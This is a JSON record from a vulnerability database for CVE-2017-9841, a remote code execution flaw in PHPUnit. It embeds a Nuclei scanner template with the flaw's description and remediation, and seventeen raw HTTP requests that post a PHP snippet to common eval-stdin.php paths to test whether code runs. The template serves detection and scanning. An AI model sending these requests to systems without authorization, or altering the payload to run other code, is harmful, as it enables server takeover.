{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2017-9841/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2017-9841/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2017-9841/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2017-9841/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2017-9841/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2017-9841"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2017-9841"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2017/CVE-2017-9841.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2017-9841\n\ninfo:\n  name: PHPUnit - Remote Code Execution\n  author: Random_Robbie,pikpikcu\n  severity: critical\n  description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"<?php \" substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.\n  impact: |\n    Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.\n  remediation: |\n    Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.\n  reference:\n    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841\n    - https://github.com/RandomRobbieBF/phpunit-brute\n    - https://thephp.cc/articles/phpunit-a-security-risk\n    - https://twitter.com/sec715/status/1411517028012158976\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-9841\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2017-9841\n    cwe-id: CWE-94\n    epss-score: 0.99999\n    epss-percentile: 0.99994\n    cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 6\n    vendor: phpunit_project\n    product: phpunit\n  tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project,vkev,vuln\n\nvariables:\n  string: \"CVE-2017-9841\"\n\nhttp:\n  - raw:\n      - |\n        GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n      - |\n        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/html\n\n        <?php echo md5(\"{{string}}\");?>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(string)}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100cb80b24bd010a09ff33a0729dc76fb7b3d2f97c551e0a1790b9ec7793705e31b022069f546c440463db7ba2a0419002625ac1977e90ebb64f26255c0d022cbb3cafa:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2017-9841"
}